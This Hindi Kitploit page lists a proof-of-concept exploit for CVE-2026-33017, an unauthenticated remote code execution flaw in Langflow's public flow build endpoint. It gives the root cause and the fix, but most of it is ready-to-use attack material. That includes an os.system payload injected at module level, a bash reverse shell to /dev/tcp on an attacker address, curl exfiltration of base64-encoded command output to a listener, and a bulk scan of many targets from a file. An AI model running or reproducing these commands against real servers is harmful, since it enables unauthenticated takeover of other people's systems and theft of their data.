Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/maxmnml/langflow-cve-2026-33017-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubmaxmnml/langflow-cve-2026-33017-poc

langflow-CVE-2026-33017-poc

CVE-2026-33017 - Langflow <= 1.8.1 में Public Flow Build Endpoint के माध्यम से एक अनधिकृत रिमोट कोड निष्पादन

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
1045 महीने पहलेअभी तक समीक्षित नहीं

CVE-2026-33017 — Langflow बिना प्रमाणीकरण वाला RCE PoC

CVE CVSS Affected Language

केवल शैक्षिक और अधिकृत परीक्षण प्रयोजनों के लिए।

सारांश

Langflow <= 1.8.1 एक सार्वजनिक फ्लो निर्माण एंडपॉइंट उजागर करता है जो हमलावर-नियंत्रित फ्लो डेटा स्वीकार करता है जिसमें मनमाना कोड होता है। यह कोड validate.py में prepare_global_scope() को भेजा जाता है, जो बिना सैंडबॉक्सिंग के exec() को कॉल करता है, जिसके परिणामस्वरूप सर्वर प्रक्रिया विशेषाधिकारों के साथ बिना प्रमाणीकरण के रिमोट कोड निष्पादन होता है।

  • CVE: CVE-2026-33017
  • GHSA: GHSA-vwmf-pq79-vjvx
  • गंभीरता: क्रिटिकल — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
  • पैच किया गया: 1.9.0

प्रभावित संस्करण

पैकेजप्रभावितपैच किया गया
pip langflow<= 1.8.11.9.0

भेद्यता विवरण

मूल कारण

build_public_tmp एंडपॉइंट जानबूझकर बिना प्रमाणीकरण के है — इसे किसी भी व्यक्ति को संग्रहीत सार्वजनिक फ्लो निष्पादित करने की अनुमति देने के लिए डिज़ाइन किया गया है। दोष यह है कि यह वैकल्पिक data पैरामीटर भी स्वीकार करता है जिसमें हमलावर-नियंत्रित फ्लो परिभाषाएँ होती हैं। इसलिए, बिना प्रमाणीकरण वाला उपयोगकर्ता मनमाना नोड कोड सबमिट कर सकता है, जिसे सर्वर वैध फ्लो ग्राफ़ के रूप में मानता है और बिना सत्यापन के सीधे कोड निष्पादन रूटीन में भेज देता है।

समाधान सीधा है: data पैरामीटर हटा दें और एंडपॉइंट को केवल build_graph_from_db() कॉल करने के लिए बाध्य करें, ताकि सार्वजनिक फ्लो केवल संग्रहीत डेटा निष्पादित करें, कभी भी हमलावर-आपूर्ति कोड नहीं।

निष्पादन श्रृंखला

हमलावर का पेलोड निष्पादन तक पहुँचने से पहले निम्नलिखित कॉल श्रृंखला से गुजरता है:

मॉड्यूल-स्तरीय इंजेक्शन क्यों काम करता है

validate.py में prepare_global_scope() ग्राफ़ संकलन के दौरान ast.Assign नोड्स को प्रोसेस करता है — किसी भी फ्लो विधि को लागू करने से पहले। इसलिए, इंजेक्टेड कोड में एक टॉप-लेवल असाइनमेंट तुरंत निष्पादित हो जाता है:

root@kitploit:~
_r = __import__('os').system("whoami")  # runs at compile time, not at flow run time

आउटपुट HTTP प्रतिक्रिया के बजाय सर्वर के stdout पर जाता है। एक्सफ़िलट्रेशन के लिए बाहरी कॉलबैक (रिवर्स शेल, curl वेबहुक) की आवश्यकता होती है।

भेद्य एंडपॉइंट

EndpointAuthenticationAttack Vector
POST /api/v1/build_public_tmp/{flow_id}/flowकोई नहींरिमोट, बिना प्रमाणीकरण

शोषण परिदृश्य

ScenarioRequirement
A — AUTO_LOGIN सक्षमAUTO_LOGIN=true: गुमनाम रूप से JWT टोकन प्राप्त करें, PUBLIC फ्लो बनाएँ, शोषण करें
B — ज्ञात सार्वजनिक फ्लोएक साझा/सार्वजनिक फ्लो UUID ज्ञात है: सीधे शोषण करें, किसी प्रमाणीकरण की आवश्यकता नहीं

उपयोग

root@kitploit:~
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"

विकल्प

उदाहरण

महत्वपूर्ण: PoC मॉड्यूल स्तर पर os.system() का उपयोग करता है — कमांड सर्वर पर चलता है, लेकिन इसका आउटपुट HTTP प्रतिक्रिया के बजाय सर्वर के stdout पर जाता है। PoC केवल यह पुष्टि करता है कि निष्पादन हुआ ([+] VULNERABLE). वास्तव में कमांड आउटपुट प्राप्त करने के लिए, नीचे दिए गए एक्सफ़िलट्रेशन विधियों में से एक का उपयोग करें।

ब्लाइंड पुष्टि (आउटपुट कैप्चर किए बिना RCE सत्यापित करता है)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id"

रिवर्स शेल — स्थानीय लिसनर के साथ

root@kitploit:~
# 1. Start a listener on your machine
nc -lvnp 4444

# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

HTTP कॉलबैक के माध्यम से OOB एक्सफ़िलट्रेशन — स्थानीय सर्वर के साथ

root@kitploit:~
# 1. Start a local HTTP server
python3 -m http.server 8080

# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"

ज्ञात सार्वजनिक फ्लो UUID के साथ (फ्लो निर्माण की आवश्यकता नहीं)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>

फ़ाइल से बल्क स्कैन

root@kitploit:~
python3 poc.py --url-file targets.txt --cmd "id" --threads 10

उदाहरण आउटपुट

PoC पुष्टि करता है कि निष्पादन हुआ। [+] VULNERABLE का अर्थ है कि बिल्ड सफल रहा और इंजेक्टेड कोड चला — इसका यह अर्थ नहीं है कि आउटपुट कैप्चर किया गया।

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow RCE PoC
============================================================
  Targets : 1
  Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
  Threads : 5  |  Timeout : 15s
============================================================

[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)

============================================================
  SUMMARY
============================================================
  [+] http://target:7860  VULNERABLE
============================================================

  1/1 target(s) vulnerable

स्थानीय HTTP सर्वर पर प्राप्त आउटपुट:

root@kitploit:~
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)

संदर्भ

  • GHSA-vwmf-pq79-vjvx
  • CVE-2026-33017
  • Langflow रिपॉज़िटरी
  • संबंधित: CVE-2025-3248 — /api/v1/validate/code पर समान exec() समस्या
टूल डाउनलोड करें
चरणफ़ाइलविवरण
1chat.py:580build_public_tmp अनुरोध बॉडी में हमलावर डेटा प्राप्त करता है
2build.py:81start_flow_build() अविश्वसनीय पेलोड को आगे भेजता है
3build.py:298build_graph_from_data() इसे ग्राफ़ निर्माण को सौंपता है
4base.py:1168Graph.from_payload() हमलावर-आपूर्ति नोड परिभाषाओं को डिसीरियलाइज़ करता है
5base.py:1323प्रत्येक नोड के लिए instantiate_component() कॉल किया जाता है
6loading.py:43code फ़ील्ड को कस्टम कंपोनेंट पैरामीटर्स से निकाला जाता है
7eval.py:9create_class() कच्चा हमलावर कोड प्राप्त करता है
8validate.py:397exec(compiled_code, exec_globals) — कोई सैंडबॉक्सिंग नहीं
फ़्लैगडिफ़ॉल्टविवरण
--url—एकल लक्ष्य Langflow URL
--url-file—टेक्स्ट फ़ाइल जिसमें प्रति पंक्ति एक URL हो (बल्क स्कैन)
--cmdidलक्ष्य पर निष्पादित करने के लिए OS कमांड
--flow-id—मौजूदा सार्वजनिक फ्लो का UUID (फ्लो निर्माण छोड़ देता है)
--threads5बल्क मोड के लिए समानांतर थ्रेड्स की संख्या
--timeout15HTTP अनुरोध टाइमआउट सेकंड में
--no-cleanupfalseशोषण के बाद बनाए गए फ्लो को रखें